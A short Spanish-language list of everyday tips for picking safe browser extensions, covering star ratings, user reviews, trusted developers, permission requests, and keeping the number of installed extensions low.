  • Verifica la puntuación en las calificaciones de extensiones. No escojas aquellas que posean menos de 4.3 estrellas.
  • Procura leer las reseñas de los usuarios, estas te darán pistas de si son buenas o malas extensiones.
  • Solo instalas aquellas que procedan de fuentes confiables. Para ello investiga quién la desarrolló.
  • Tómate tu tiempo y lee los permisos que las extensiones requieren. Ten en cuenta que, si una extensión que ya has instalado te pide de un momento a otro un permiso, significa que es sospechosa y puede comprometer tu seguridad.
  • No instales muchas extensiones. Solo instala aquellas que realmente necesitas, de lo contrario el navegador podría ponerse lento.
  • Sospecha de una extensión si luego de instalarla el navegador se ralentiza.